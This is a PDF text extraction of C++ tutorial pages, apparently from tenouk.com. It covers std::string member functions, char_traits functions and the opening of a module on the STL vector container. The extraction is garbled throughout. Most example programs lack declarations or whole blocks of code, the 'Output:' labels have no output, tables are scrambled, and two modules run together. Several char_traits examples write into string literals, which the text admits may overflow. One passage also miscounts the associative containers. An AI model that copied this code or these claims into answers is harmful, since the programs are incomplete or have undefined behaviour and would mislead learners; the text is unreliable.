cout<<"Inserting part of a string at position 9 is:\n"<<str5<<endl;
return 0;
}
Output:
www.tenouk.com Page 6 of 30
//insert() part II
#include <string>
#include <iostream>
using namespace std;
int main()
{
//inserting a number of characters at a specified position in the string
string str7("Testing the insert()?");
cout<<"str7 = "<<str7<<endl;
str7.insert(20, 4, '!');
cout<<"Operation: str7.insert(20, 4, '!')"<<endl;
cout<<"Inserting characters: \n"<<str7<<endl;
cout<<endl;
Output:
www.tenouk.com Page 7 of 30
push_back()
//push_back()
#include <string>
#include <iostream>
using namespace std;
int main()
{
string str1("Testing the push_back()");
basic_string <char>::iterator StrIter, Str1Iter;
Output:
www.tenouk.com Page 8 of 30
- rbegin() is used with a reversed string just as begin is used with a string.
- If the return value of rbegin() is assigned to a const_reverse_iterator, the string object
cannot be modified. If the return value of rbegin() is assigned to a reverse_iterator, the
string object can be modified.
- rbegin() can be used to initialize an iteration through a string backwards.
- The return value of the rbegin() is a random-access iterator to the first element in a reversed string,
addressing what would be the last element in the corresponding un-reversed string.
- rend() is used with a reversed string just as end is used with a string.
- If the return value of rend() is assigned to a const_reverse_iterator, the string object
cannot be modified. If the return value of rend() is assigned to a reverse_iterator, the string
object can be modified.
- rend()can be used to test whether a reverse iterator has reached the end of its string.
- The return value of the rend() is a reverse random-access iterator that addresses the location
succeeding the last element in a reversed string. The value returned by rend()should not be
dereferenced.
int main()
{
string str1("The reverse begin, rbegin()"), str2;
basic_string <char>::reverse_iterator StrIter, Str1Iter;
basic_string <char>::const_reverse_iterator str1_rcIter;
Output:
www.tenouk.com Page 9 of 30
replace()
- The return value is the operand string with the replacement made.
//replace() part I
#include <string>
#include <iostream>
using namespace std;
int main()
{
Output:
www.tenouk.com Page 10 of 30
//replace() part II
#include <string>
#include <iostream>
using namespace std;
int main()
{
cout<<"Operation: str13.begin()"<<endl;
cout<<"Operation: str13.begin() + 3"<<endl;
cout<<"Operation: str13.replace(Iter1, Iter2, str14)"<<endl;
Iter1 = str13.begin();
Iter2 = str13.begin() + 3;
str11 = str13.replace(Iter1, Iter2, str14);
cout<<"The new string is: "<<str11<<endl;
cout<<"Operation: str13.replace(Iter1, Iter2, cstr3)"<<endl;
str12 = str13.replace(Iter1, Iter2, cstr3);
cout<<"The new string is: "<<str12<<"\n\n";
cout<<"Operation: str16.begin()"<<endl;
cout<<"Operation: str16.begin() + 4"<<endl;
cout<<"Operation: str16.replace(Iter3, Iter4, cstr4, 4)"<<endl;
Iter3 = str16.begin();
Iter4 = str16.begin() + 4;
str15 = str16.replace(Iter3, Iter4, cstr4, 4);
cout<<"The new string is: "<<str15<<"\n\n";
www.tenouk.com Page 11 of 30
string str17;
string str18("TESTING3");
char cstr5 = 'u';
Iter7 = str20.begin() + 1;
Iter8 = str20.begin() + 3;
Iter9 = str21.begin();
Iter10 = str21.begin() + 2;
cout<<"Operation: str20.replace(Iter7, Iter8, Iter9, Iter10)"<<endl;
str19 = str20.replace(Iter7, Iter8, Iter9, Iter10);
cout<<"The new string is: "<<str19<<endl;
return 0;
}
Output:
reserve()
www.tenouk.com Page 12 of 30
- Having sufficient capacity is important because reallocations is a time-consuming process and
invalidates all references, pointers, and iterators that refer to characters in a string.
- Unlike vector (another STL), the member function reserve() may be called to shrink the
capacity of an object. The request is non binding and may or may not happen.
- The default value for the parameter is zero, a call of reserve() is a non-binding request to shrink the
capacity of the string to fit the number of characters currently in the string.
- The capacity is never reduced below the current number of characters.
//reserve()
#include <string>
#include <iostream>
using namespace std;
int main()
{
Output:
www.tenouk.com Page 13 of 30
resize() and size()
- If the resulting size exceeds the maximum number of characters, the form throws length_error
exception handler.
int main()
{
SizeStr1 = str1.size();
CapaStr1 = str1.capacity();
SizeStr1 = str1.size();
CapaStr1 = str1.capacity();
SizeStr1 = str1.size();
CapaStr1 = str1.capacity();
Output:
www.tenouk.com Page 14 of 30
rfind()
- The return value is the index of the last occurrence when searched backwards, of the first character of
the substring when successful; otherwise npos.
int main()
{
//searching for a single character in a string
string str1("Testing the rfind() 1..2..3");
cout<<"str1 string is: "<<str1<<endl;
basic_string <char>::size_type index1, index2;
static const basic_string <char>::size_type npos = -1;
cout<<"\nOperation: str1.rfind('z')"<<endl;
index2 = str1.rfind('z');
if(index2 != npos)
cout<<"The index of the 'z' found in str1 is: "<<index2<<endl;
else
cout<<"The character 'z' was not found in str1."<<endl;
cout<<endl;
//----------------------------------------------------------------
//searching a string for a substring as specified by a C-string
string str2("Testing the rfind() 123");
cout<<"The str2 string is: "<<str2<<endl;
basic_string <char>::size_type index3, index4;
www.tenouk.com Page 15 of 30
<<"before\n the 25th position in str3 is: "<<index4<<endl;
else
cout<<"The substring 'nofind()' was not found in str2."<<endl;
return 0;
}
Output:
int main()
{
//searching a string for a substring as specified by a C-string
string str3("Another test. Testing the rfind() the 123");
cout<<"The str3 string is: "<<str3<<endl;
static const basic_string <char>::size_type npos = -1;
basic_string <char>::size_type index5, index6;
//----------------------------------------------------------
//searching string for a substring as specified by a string
string str4("Final rfind() testing 1...2...3");
cout<<"The str4 string is: "<<str4<<endl;
basic_string <char>::size_type index7, index8;
string str5("2...3");
cout<<"Operation: str4.rfind(str5, 30)"<<endl;
index7 = str4.rfind(str5, 30);
if(index7 != npos)
cout<<"The index of the 1st element of '1...2' "
<<"before\nthe 30th position in str4 is: "<<index7<<endl;
else
cout<<"The substring '1...2' was not found in str4\n"
<<"before the 30th position."<<endl;
string str6("...3");
cout<<"\nOperation: str4.rfind(str6)"<<endl;
www.tenouk.com Page 16 of 30
index8 = str4.rfind(str6);
if(index8 != npos)
cout<<"The index of the 1st element of '...3' in str4 is: "<<index8<<endl;
else
cout<<"The substring '...3' was not found in str4."<<endl;
return 0;
}
Output:
substr()
- The return value is a substring object that is a copy of elements of the string operand beginning at the
position specified by the first argument.
//substr()
#include <string>
#include <iostream>
using namespace std;
int main()
{
cout<<"\nOperation: str1.substr()"<<endl;
basic_string <char> str3 = str1.substr();
cout<<"The default str3 substring is: "<<str3
<<"\nwhich is the original string."<<endl;
return 0;
}
Output:
www.tenouk.com Page 17 of 30
- The char_traits class describes attributes associated with a character. The template class
structure for char_traits is shown below.
- Where:
- The template class describes various character traits for type CharType. The template class
basic_string as well as several iostream template classes, including basic_ios, use this
information to manipulate elements of type CharType.
- Such an element type must not require explicit construction or destruction. It must supply a default
constructor, a copy constructor, and an assignment operator, with the expected semantics.
- A bitwise copy must have the same effect as an assignment. None of the member functions of class
char_traits can throw exceptions.
- The following table is a list of the char_traits class template typedef, the synonym name.
- The following table is a list of the char_traits class template member function.
www.tenouk.com Page 18 of 30
Note:
The following program example may generate a runtime error regarding the buffer overflow, because there are no
explicit exception handling code used in the program, the exceptions should be ‘fully’ handled by the compiler.
Good compiler should warn us regarding the exceptions. If the problem persists, try changing some of the pointer
variables to arrays variables as shown in move() program example. It should be OK.
assign()
//char_traits, assign()
#include <string>
#include <iostream>
using namespace std;
int main()
{
//assigning a character value to another character
char chr1 = 'P';
const char chr2 = 'Q';
Output:
compare()
- The comparison between the strings is made element by element, first testing for equality and then, if a
pair of elements in the sequence tests not equal, they are tested for less than.
- If two strings compare equal over a range but one is longer than the other, then the shorter of the two is
less than the longer one.
- The return value is a negative value if the first string is less than the second string, 0 if the two strings
are equal, or a positive value if the first string is greater than the second string.
//char_traits, compare()
#include <string>
#include <iostream>
using namespace std;
int main()
{
char_traits<char>::char_type* str1 = "TEST";
char_traits<char>::char_type* str2 = "RETEST";
char_traits<char>::char_type* str3 = "RETEST";
char_traits<char>::char_type* str4 = "TESTING";
www.tenouk.com Page 19 of 30
cout<<"str3 string is: "<<str3<<endl;
cout<<"str4 string is: "<<str4<<endl;
cout<<"\nOperation: Comparison..."<<endl;
int comp1, comp2, comp3, comp4;
comp1 = char_traits<char>::compare(str1, str2, 2);
comp2 = char_traits<char>::compare(str2, str3, 3);
comp3 = char_traits<char>::compare(str3, str4, 4);
comp4 = char_traits<char>::compare(str4, str3, 4);
cout<<"compare(str1, str2, 2) = "<<comp1<<endl;
cout<<"compare(str2, str3, 3) = "<<comp2<<endl;
cout<<"compare(str3, str4, 4) = "<<comp3<<endl;
cout<<"compare(str4, str3, 4) = "<<comp4<<endl;
return 0;
}
Output:
Note:
The following program example may generate a runtime error regarding the buffer overflow, because there are no
explicit exception handling code use in the program, the exceptions should be ‘fully’ handled by the compiler.
Good compiler should warn us regarding the exceptions. If the problem persists, try changing some of the pointer
variables to arrays variables as shown in move() program example. It should be OK.
copy()
- The source and destination character sequences must not overlap. Compare with the move() member
function.
//char_traits, copy()
#include <string>
#include <iostream>
using namespace std;
int main()
{
char_traits<char>::char_type* str1 = "Testing the copy()";
char_traits<char>::char_type* str2 = "Fucking";
char_traits<char>::char_type* result;
Output:
www.tenouk.com Page 20 of 30
eof()
- The return value is a value that represents end of file character (such as EOF or WEOF).
- If the value is represented as type char_type, it must correspond to no valid value of that type.
//char_traits, eof()
#include <string>
#include <iostream>
using namespace std;
int main( )
{
char_traits <char>::int_type int0 = char_traits<char>::eof();
cout<<"The eof return is: "<<int0<<endl;
Output:
eq()
- The return value is true if the first character is equal to the second character; otherwise false.
//char_traits, eq()
#include <string>
#include <iostream>
using namespace std;
int main()
{
char_traits<char>::char_type chr1 = 'P';
char_traits<char>::char_type chr2 = 'Q';
char_traits<char>::char_type chr3 = 'P';
//alternatively...
cout<<"\nOperation: using \'==\' operator, chr1==chr3"<<endl;
if(chr1 == chr3)
cout<<"The character chr1 and chr3 is equal."<<endl;
else
cout<<"The character chr1 and chr3 is not equal."<<endl;
www.tenouk.com Page 21 of 30
return 0;
}
Output:
eq_int_type()
- The return value is true if the first character is equal to the second character; otherwise false.
//char_traits, eq_int_type()
//and to_int_type()
#include <string>
#include <iostream>
using namespace std;
int main()
{
char_traits<char>::char_type chr1 = 'P';
char_traits<char>::char_type chr2 = 'Q';
char_traits<char>::char_type chr3 = 'P';
char_traits<char>::char_type chr4 = 'r';
cout<<"Operation: to_int_type(character)"<<endl;
cout<<"The char_types and corresponding int_types are:\n";
cout<<chr1<<" = "<<int1<<endl;
cout<<chr2<<" = "<<int2<<endl;
cout<<chr4<<" = "<<int4<<endl;
//alternatively...
cout<<"\nOperation: int1 == int3"<<endl;
if(int1 == int3)
cout<<"The int_type representation of characters chr1\n"
<<"and chr3 is equal."<<endl;
else
cout<<"The int_type representation of characters chr1\n"
<<"and chr3 is not equal."<<endl;
return 0;
}
Output:
www.tenouk.com Page 22 of 30
find()
//char_traits, find()
#include <string>
#include <iostream>
using namespace std;
int main( )
{
const char* str = "Testing the char_traits, find()";
const char* result1;
cout<<"The string to be searched is:\n"<<str<<endl;
Output:
length()
- The return value is the number of elements in the sequence being measured, not including the null
terminator.
//char_traits, length()
#include <string>
#include <iostream>
using namespace std;
www.tenouk.com Page 23 of 30
int main()
{
const char* str1= "Testing 1...2...3";
cout<<"str1 C-string is: "<<str1<<endl;
size_t LenStr1;
cout<<"\nOperation: length(str1)"<<endl;
LenStr1 = char_traits<char>::length(str1);
cout<<"The length of str1 is: "<<unsigned int(LenStr1)<<endl;
return 0;
}
Output:
lt()
- The return value is true if the first character is less than the second character; otherwise false.
//char_traits, lt()
#include <string>
#include <iostream>
using namespace std;
int main()
{
char_traits<char>::char_type chr1 = '1';
char_traits<char>::char_type chr2 = 'q';
char_traits<char>::char_type chr3 = 'R';
Output:
www.tenouk.com Page 24 of 30
move()
int main()
{
char_traits<char>::char_type str1[25] = "The Hell Boy";
char_traits<char>::char_type str2[25] = "Something To ponder";
char_traits<char>::char_type *result1;
Output:
not_eof()
- The return value is the int_type representation of the character tested, if the int_type of the
character is not equal to that of the EOF character.
- If the character int_type value is equal to the EOF int_type value, then it is false.
//char_traits, not_eof()
www.tenouk.com Page 25 of 30
#include <string>
#include <iostream>
using namespace std;
int main()
{
char_traits<char>::char_type chr1 = 'w';
char_traits<char>::int_type int1;
int1 = char_traits<char>::to_int_type(chr1);
cout<<"Operation: to_int_type(chr1)"<<endl;
cout<<"The char_type "<<chr1<<" = int_type "<<int1<<endl;
//EOF
char_traits <char>::int_type int2 = char_traits<char>::eof();
cout<<"\nOperation: char_traits<char>::eof()"<<endl;
cout<<"The eof return is: "<<int2<<endl;
eofTest2 = char_traits<char>::not_eof(int2);
cout<<"\nOperation: not_eof(int2)"<<endl;
if(!eofTest2)
cout<<"The eofTest2 indicates "<<chr1<<" is an EOF character."<<endl;
else
cout<<"The eofTest1 returns: "<<eofTest2
<<", which is the character "
<<char_traits<char>::to_char_type(eofTest2)<<endl;
return 0;
}
Output:
- The conversion operations to_int_type and to_char_type are inverse operation to each other.
For example:
to_int_type(to_char_type(x)) == x
- The return value is the char_type character corresponding to the int_type character.
- A value that cannot be represented by the conversion will yield an unspecified result.
//char_traits, to_char_type(),
//to_int_type and eq()
www.tenouk.com Page 26 of 30
#include <string>
#include <iostream>
using namespace std;
int main()
{
char_traits<char>::char_type chr1 = '3';
char_traits<char>::char_type chr2 = 'C';
char_traits<char>::char_type chr3 = '#';
cout<<"Operation: to_int_type(character)"<<endl;
cout<<"The char_types and corresponding int_types are:\n";
cout<<chr1<<" ==> "<<int1<<endl;
cout<<chr2<<" ==> "<<int2<<endl;
cout<<chr3<<" ==> "<<int3<<endl;
cout<<"\nOperation: to_char_type(integer)"<<endl;
cout<<"The inverse conversion are:\n";
cout<<int1<<" ==> "<<rev_chr1<<endl;
cout<<int2<<" ==> "<<rev_chr2<<endl;
//alternatively...
if(rev_chr2 == chr2)
cout<<"The rev_chr2 is equal to the original chr2."<<endl;
else
cout<<"The rev_chr2 is not equal to the original chr2."<<endl;
return 0;
}
Output:
www.tenouk.com Page 27 of 30
A class that is a specialization of the template class
char_traits<char>
char_traits<CharType> to an element of type
class
char.
A class that is a specialization of the template class
char_traits<wchar_t>
char_traits<CharType> to an element of type
class
wchar_t.
- The following are recompiling and re running of the C characters and strings program examples.
Program examples are taken from Module X. You can try other program examples as well.
//strtok()
//using the C++ wrappers
#include <cstdio>
#include <string>
using namespace std;
int main()
{
char string[] = "Is this sentence has 6 tokens?";
char *tokenPtr;
Output:
//Using strspn()
#include <cstdio>
#include <string>
using namespace std;
int main()
{
char *string1 = "The initial value is 3.14159";
char *string2 = "aehilsTuv";
www.tenouk.com Page 28 of 30
printf("string2 = %s\n", string2);
printf("\nThe length of the initial segment of string1\n");
printf("containing only characters from string2 is = %u\n", strspn(string1,
string2));
return 0;
}
Output:
- Program example compiled using g++. Portability is not an issue here :o). g++ warmly warn you for
constructs that are obsolete!
//**********string2.cpp************
//insert() part I
#include <string>
#include <iostream>
using namespace std;
int main()
{
//inserting a C-string at a given position
basic_string <char> str1("e insert() testing");
const char *cstr1 = "Th";
cout<<"str1 = "<<str1<<endl;
cout<<"cstr1 = "<<cstr1<<endl;
str1.insert(0, cstr1);
cout<<"Operation: str1.insert(0, cstr1)"<<endl;
cout<<"Inserting a C-string at position 0 is:\n"<<str1<<endl;
cout<<endl;
cout<<"str2 = "<<str2<<endl;
cout<<"cstr2 = "<<cstr2<<endl;
str2.insert(4, cstr2, 15);
cout<<"Operation: str2.insert(4, cstr2, 15)"<<endl;
cout<<"Inserting a C-string at the end is:\n"<<str2<<endl;
cout<<endl;
cout<<"str3 = "<<str3<<endl;
cout<<"str4 = "<<str4<<endl;
str3.insert(0, str4);
cout<<"Operation: str3.insert(0, str4)"<<endl;
cout<<"Inserting string at position 0 is:\n"<<str3<<endl;
cout<<endl;
cout<<"str5 = "<<str5<<endl;
cout<<"str6 = "<<str6<<endl;
str5.insert(7, str6, 4, 9);
cout<<"Operation: str5.insert(7, str6, 4, 9)"<<endl;
cout<<"Inserting part of a string at position 9 is:\n"<<str5<<endl;
return 0;
}
www.tenouk.com Page 29 of 30
[bodo@bakawali ~]$ g++ string2.cpp -o string2
[bodo@bakawali ~]$ ./string2
str2 = Test
cstr2 = ing an insert()
Operation: str2.insert(4, cstr2, 15)
Inserting a C-string at the end is:
Testing an insert()
str5 = Testing
str6 = the insert()
Operation: str5.insert(7, str6, 4, 9)
Inserting part of a string at position 9 is:
Testing insert()
----------------------------------o0o----------------------------------------
---www.tenouk.com---
www.tenouk.com Page 30 of 30
MODULE 27
--THE STL--
CONTAINER PART I
vector, deque
Note: Compiled using VC++7.0/.Net, win32 empty console mode application. g++ examples given at the end of
this Module.
Abilities
- The Standard Template Library (STL) is a generic library that provides solutions to managing
collections of data with an efficient algorithm.
- The STL provides a collection of classes that meet different kind of tasks, with algorithms that operate
on the classes. STL components are templates, as you have learned in Module 24, it can be used for
arbitrary data types.
- Furthermore, STL also provides a framework for other collection of user defined classes or algorithms.
The traditional programming such as dynamic arrays, linked lists, binary trees, search algorithms
and other data structures routines can be implemented using STL more efficiently and easily.
- To easily understand this topic, you should have good understanding of the traditional arrays data
type and operations that can be done on arrays elements such as comparison, sorting, deletion,
modification, insertion etc. and as well as templates.
27.1.1 Containers
- Container classes’ purpose is to contain other objects. Each of these classes is a template, and can be
instantiated to contain any type of object.
- The STL container classes include vector, list, deque, set, multiset, map, multimap,
hash_set, hash_multiset, hash_map and hash_multimap to suit different kind of tasks.
You may find other containers that are implementation dependent/extension.
27.1.2 Iterators
- It is a pointer used to manipulate the elements of the objects’ collections. These collections may be
containers or subsets of containers. Iterators provide common interface for any arbitrary container type.
- Every container class provides its own iterator type but when you try the program examples later, most
of the containers have a common iterator types. It is a smart pointer. For simple example, to increment
an iterator you call operator ++. To access the value of an iterator you may use operator *.
27.1.3 Algorithms
- Used to process the elements of collections. For example, algorithms can search, sort and modify.
Algorithms use iterators. Thus, an algorithm has to be written only once to work with arbitrary
containers because the iterator interface for iterators is common for all container types.
- We can use a general algorithm to suit our needs even if that need is very special or complex. You will
find in the program examples later, most of the member functions for processing the elements or data
are common for various containers.
- The data and operations in STL are decoupled. Container classes manage the data, and the operations
are defined by the algorithms, used together with the iterators. Conceptually, iterators are the linker
between these two components. They let any algorithm interact with any container, graphically shown
below.
www.tenouk.com Page 1 of 30
- Theoretically, you can combine every kind of container with every kind of algorithm. All components
work with arbitrary types, a good example of the generic programming concept.
- Containers and algorithms are generic for arbitrary types and classes respectively. The STL provides
even more generic components. By using certain adapters and function objects (or functors) you can
supplement, constrain, or configure the algorithms and the interfaces for special needs.
- In this module we will discussed in detail about containers and at the same time the iterators and
algorithm also will be introduced as well.
- Are ordered collections in which every element has a certain position. This ‘ordered’ term does not
mean ascending or descending, but it refers to a certain position.
- This position depends on the time and place of the insertion, but it is independent of the value of the
element. For example, if you put 10 elements into a collection by appending each element at the end of
the actual collection, these elements are in the exact order in which you put them.
- The STL contains three predefined sequence container classes: vector, deque, and list.
- Are sorted collections in which the actual position of an element depends on its value due to a
certain sorting criterion. If you put ten elements into a collection, their order depends only on their
value. The order of insertion doesn't matter.
- The STL contains four predefined associative container classes: set, multiset, map, multimap,
hash_map, hash_multimap, hash_set and hash_multiset. Some of these containers are not required by
ANSI C++ (ISO/IEC C++).
- An associative container can be considered a special kind of sequence container because sorted
collections are ordered according to a sorting criterion. Note that the STL collection types are
completely distinct from each other. They have different implementations that are not derived from
each other.
- The automatic sorting of elements in associative containers does not mean that those containers are
especially designed for sorting elements. You can also sort the elements of a sequence container.
- The key advantage of automatic sorting is better performance when you search elements. In particular,
you can always use a binary search, which results in logarithmic complexity rather than linear
complexity.
www.tenouk.com Page 2 of 30
- In others, the key is some specific part of the value. Since elements are stored according to their keys, it
is essential that the key associated with each element is immutable.
- In simple associative containers this means that the elements themselves are immutable, while in other
types of associative containers a Pair Associative Containers, the elements themselves are mutable
but the part of an element that is its key cannot be modified. This means that an associative container's
value type is not assignable.
- The fact that the value type of an associative container is not assignable has an important consequence:
associative containers cannot have mutable iterators. This is simply because a mutable iterator must
allow assignment.
- That is, if i is a mutable iterator and t is an object of i's value type, then *i = t must be a valid
expression.
- In simple associative containers, where the elements are the keys, the elements are completely
immutable; the nested types iterator and const_iterator are therefore the same. Other types
of associative containers, however, do have mutable elements, and do provide iterators through which
elements can be modified.
- In pair associative containers, for example, have two different nested types’ iterator and
const_iterator.
- Even in this case, iterator is not a mutable iterator: as explained above, it does not provide the
expression:
*i = t.
- It is, however, possible to modify an element through such an iterator: if, for example,
- Then:
(*i).second = 3
- Is a valid expression.
- In some associative containers a Unique Associative Containers, it is guaranteed that no two elements
have the same key.
- In other associative containers a Multiple Associative Containers, multiple elements with the same
key are permitted.
- There are operations common to all containers. The following Table is a list of these operations. You
will find these operations somewhere in the program examples later.
www.tenouk.com Page 3 of 30
equivalent to !(con1<con2)
con1 = con2 Assignment, assigns all elements of con1 to con2
con1.swap(con2) Swaps the data of con1and con2
swap(con1,con2) Same but a global function
con.begin() Returns an iterator for the first element
con.end() Returns an iterator for the position after the last element
Returns a reverse iterator for the first element of a reverse
con.rbegin()
iteration
Returns a reverse iterator for the position after the last
con.rend()
element of a reverse iteration
con.insert(position,element) Inserts a copy of element.
Removes all elements of the range [begin, end), some
con.erase(begin,end)
containers return next element not removed
con.clear() Removes all elements, making the container empty
con.get_allocator() Returns the memory model of the container
- Example:
27.5.1 Vectors
- A vector manages its elements in a dynamic array. It enables random access. Appending and removing
elements at the end of the array is very fast.
- However, inserting an element in the middle or at the beginning of the array takes time because all the
following elements have to be moved to make room for it while maintaining the order.
- It allows constant time insertions and deletions at the end of the sequence. Inserting or deleting
elements in the middle of a vector requires linear time. The structure of vector can be depicted as
follow:
- Vector reallocation occurs when a member function must increase the sequence contained in the vector
object beyond its current storage capacity. Other insertions and deletions may alter various storage
addresses within the sequence.
- In all such cases, iterators or references that point at altered portions of the sequence become invalid. If
no reallocation happens, only iterators and references before the insertion/deletion point remain valid.
- The vector<bool> class is a full specialization of the template class vector for elements of type
bool with an allocator for the underlying type used by the specialization.
- The vector<bool> reference class is a nested class whose objects are able to provide references to
elements (single bits) within a vector<bool> object.
- The list class container is superior with respect to insertions and deletions at any location within a
sequence. The performance of the deque class container is superior with respect to insertions and
deletions at the beginning and end of a sequence compared to vector.
- The following general example defines a vector for integer values, inserts ten elements, and prints the
elements of the vector:
//vector example
#include <iostream>
//vector header file
#include <vector>
using namespace std;
www.tenouk.com Page 4 of 30
int main()
{
//vector container for integer elements
//declaration
vector<int> coll;
cout<<endl;
return 0;
}
Output:
- Let us dig more detail about the vector. A lot of stuff has been provided by the C++ STL, our task is to
learn how to use them properly, before you create or refine your own containers. Do not reinvent the
wheel.
Operators
Table 27.2
- Program examples:
//vector, operators
#include <vector>
#include <iostream>
www.tenouk.com Page 5 of 30
using namespace std;
int main()
{
Output:
www.tenouk.com Page 6 of 30
vector Class Template
Class Description
vector A template class of sequence containers that arrange elements of a given type in a
Class linear arrangement and allow fast random access to any element.
Table 27.3
- The STL vector class is a template class of sequence containers that arrange elements of a given type in
a linear arrangement and allow fast random access to any element.
- They should be the preferred container for a sequence when random-access performance is concerned.
Typedef Description
allocator_type A type that represents the allocator class for the vector object.
A type that provides a random-access iterator that can read a const
const_iterator
element in a vector.
const_pointer A type that provides a pointer to a const element in a vector.
A type that provides a reference to a const element stored in a
const_reference
vector for reading and performing const operations.
A type that provides a random-access iterator that can read any
const_reverse_iterator
const element in the vector.
A type that provides the difference between the addresses of two
difference_type
elements in a vector.
A type that provides a random-access iterator that can read or
iterator
modify any element in a vector.
pointer A type that provides a pointer to an element in a vector.
reference A type that provides a reference to an element stored in a vector.
A type that provides a random-access iterator that can read or
reverse_iterator
modify any element in a reversed vector.
size_type A type that counts the number of elements in a vector.
value_type A type that represents the data type stored in a vector.
Table 27.4
www.tenouk.com Page 7 of 30
back() Returns a reference to the last element of the vector.
begin() Returns a random-access iterator to the first element in the container.
Returns the number of elements that the vector could contain without
capacity()
allocating more storage.
clear() Erases the elements of the vector.
empty() Tests if the vector container is empty.
Returns a random-access iterator that point just beyond the end of the
end()
vector.
Removes an element or a range of elements in a vector from specified
erase()
positions.
front() Returns a reference to the first element in a vector.
get_allocator() Returns an object to the allocator class used by a vector.
Inserts an element or a number of elements into the vector at a specified
insert()
position.
max_size() Returns the maximum length of the vector.
pop_back() Deletes the element at the end of the vector.
push_back() Add an element to the end of the vector.
rbegin() Returns an iterator to the first element in a reversed vector.
rend() Returns an iterator to the end of a reversed vector.
resize() Specifies a new size for a vector.
reserve() Reserves a minimum length of storage for a vector object.
size() Returns the number of elements in the vector.
swap() Exchanges the elements of two vectors.
Vector constructor, constructs a vector of a specific size or with elements of
vector() a specific value or with a specific allocator or as a copy of some other
vector.
Table 27.5
- The following section demonstrate the program examples using the member functions and the typedefs
- Vector constructor, constructs a vector of a specific size or with elements of a specific value or with a
specific allocator or as a copy of all or part of some other vector.
- All constructors store an allocator object and initialize the vector.
//vector constructors
#include <vector>
#include <iostream>
using namespace std;
int main()
{
vector <int>::iterator vec0Iter, vec1Iter, vec2Iter, vec3Iter, vec4Iter, vec5Iter;
//Create a vector vec3 with 5 elements of value 3 and with the allocator
//of vector vec2
vector <int> vec3(5, 3, vec2.get_allocator());
www.tenouk.com Page 8 of 30
cout<<endl;
Output:
- After erasing any existing elements in a vector, assign() either inserts a specified range of elements
from the original vector into a vector or inserts copies of a new element of a specified value into a
vector.
//vector, assign()
#include <vector>
#include <iostream>
using namespace std;
int main()
{
vector <int> vec2;
vector <int>::iterator Iter;
vec2.push_back(1);
vec2.push_back(5);
vec2.push_back(3);
vec2.push_back(4);
vec2.push_back(5);
vec2.push_back(3);
vec2.push_back(7);
vec2.push_back(8);
vec2.push_back(4);
www.tenouk.com Page 9 of 30
cout<<"vec2 data: ";
for(Iter = vec2.begin(); Iter != vec2.end(); Iter++)
cout<<*Iter<<" ";
cout<<"\n\n";
Output:
- The return value is a reference to the element subscripted in the argument. If _Off is greater than the
size of the vector, at() throws an exception.
- If the return value of at() is assigned to a const_reference, the vector object cannot be
modified. If the return value of at() is assigned to a reference, the vector object can be modified.
//vector, at()
#include <vector>
#include <iostream>
using namespace std;
int main()
{
vector <int> vec1;
vec1.push_back(1);
vec1.push_back(7);
vec1.push_back(4);
vec1.push_back(3);
cout<<"\n\nOperation: vec1.at(position)";
const int &x = vec1.at(1);
int &y = vec1.at(3);
int &z = vec1.at(0);
cout<<"\nThe 2nd element is "<<x<<endl;
cout<<"The 4th element is "<<y<<endl;
cout<<"The 1st element is "<<z<<endl;
return 0;
}
Output:
www.tenouk.com Page 10 of 30
- For back(), the return value is the last element of the vector. If the vector is empty, the return value is
undefined.
- If the return value of back() is assigned to a const_reference, the vector object cannot be
modified. If the return value of back() is assigned to a reference, the vector object can be
modified.
- For front(), the return value is a reference to the first element in the vector object. If the vector is
empty, the return is undefined.
- If the return value of front() is assigned to a const_reference, the vector object cannot be
modified. If the return value of front() is assigned to a reference, the vector object can be
modified.
int main()
{
vector <int> vec1, vec2;
vec1.push_back(12);
vec1.push_back(10);
vec1.push_back(7);
int& x = vec1.back();
const int& y = vec1.front();
cout<<"\nOperation: x = vec1.back()\n";
cout<<"The last integer of vec1 is "<<x<<endl;
cout<<"Operation: y = vec1.front()\n";
cout<<"The 1st integer of vec1 is "<<y<<endl;
return 0;
}
Output:
- The return value is a random-access iterator addressing the first element in the vector or to the location
succeeding an empty vector.
- If the return value of begin() is assigned to a const_iterator, the vector object cannot be
modified. If the return value of begin() is assigned to an iterator, the vector object can be
modified.
www.tenouk.com Page 11 of 30
//vector, begin()
#include <vector>
#include <iostream>
using namespace std;
int main()
{
vector <int> vec1;
vector <int>::iterator vec1_Iter;
vec1.push_back(21);
vec1.push_back(12);
vec1.push_back(32);
cout<<"\nOperation: vec1.begin()\n";
vec1_Iter = vec1.begin();
cout<<"The first element of vec1 is "<<*vec1_Iter<<endl;
cout<<"Operation: vec1.begin()\n";
vec1_Iter = vec1.begin();
cout<<"The first element of vec1 is now "<<*vec1_Iter<<endl;
return 0;
}
Output:
- The return value is the current length of storage allocated for the vector.
- The member function resize() will be more efficient if sufficient memory is allocated to
accommodate it. Use the member function reserve() to specify the amount of memory allocated.
//vector, capacity()
//and size()
#include <vector>
#include <iostream>
using namespace std;
int main()
{
vector <int> vec1;
vec1.push_back(3);
vec1.push_back(1);
vec1.push_back(6);
cout<<"Operation: vec1.capacity()\n";
cout<<"The length of storage allocated is "<<vec1.capacity()<<"."<<endl;
www.tenouk.com Page 12 of 30
vec1.push_back(10);
vec1.push_back(12);
vec1.push_back(4);
Output:
- For empty(), the return value is true if the vector is empty; false if the vector is not empty.
int main()
{
vector <int> vec1;
vec1.push_back(10);
vec1.push_back(20);
vec1.push_back(30);
cout<<"\nOperation: vec1.empty()"<<endl;
if(vec1.empty())
cout<<"vec1 is empty"<<endl;
else
cout<<"vec1 is not empty"<<endl;
cout<<"\nOperation: vec1.clear()"<<endl;
vec1.clear();
cout<<"The size of vec1 after clearing is "<<vec1.size()<<endl;
cout<<"\nOperation: vec1.empty()"<<endl;
if(vec1.empty())
cout<<"vec1 is empty"<<endl;
else
cout<<"vec1 is not empty"<<endl;
return 0;
}
Output:
www.tenouk.com Page 13 of 30
- For end(), the return value is a pointer to the end of the vector object. If the vector is empty, the result
is undefined.
- If the return value of end() is assigned to a variable of type const_iterator, the vector object
cannot be modified. If the return value of end() is assigned to a variable of type iterator, the
vector object can be modified.
int main( )
{
using namespace std;
vector <int> vec1;
vector <int>::iterator vec1_Iter;
vec1.push_back(9);
vec1.push_back(2);
vec1.push_back(7);
vec1.push_back(3);
Output:
- The return value for erase() is an iterator that designates the first element remaining beyond any
elements removed, or a pointer to the end of the vector if no such element exists.
int main()
{
vector <int> vec1;
vector <int>::iterator Iter;
vec1.push_back(3);
vec1.push_back(7);
vec1.push_back(22);
vec1.push_back(5);
vec1.push_back(12);
vec1.push_back(17);
www.tenouk.com Page 14 of 30
cout<<"Original vec1 data: ";
for(Iter = vec1.begin(); Iter != vec1.end(); Iter++)
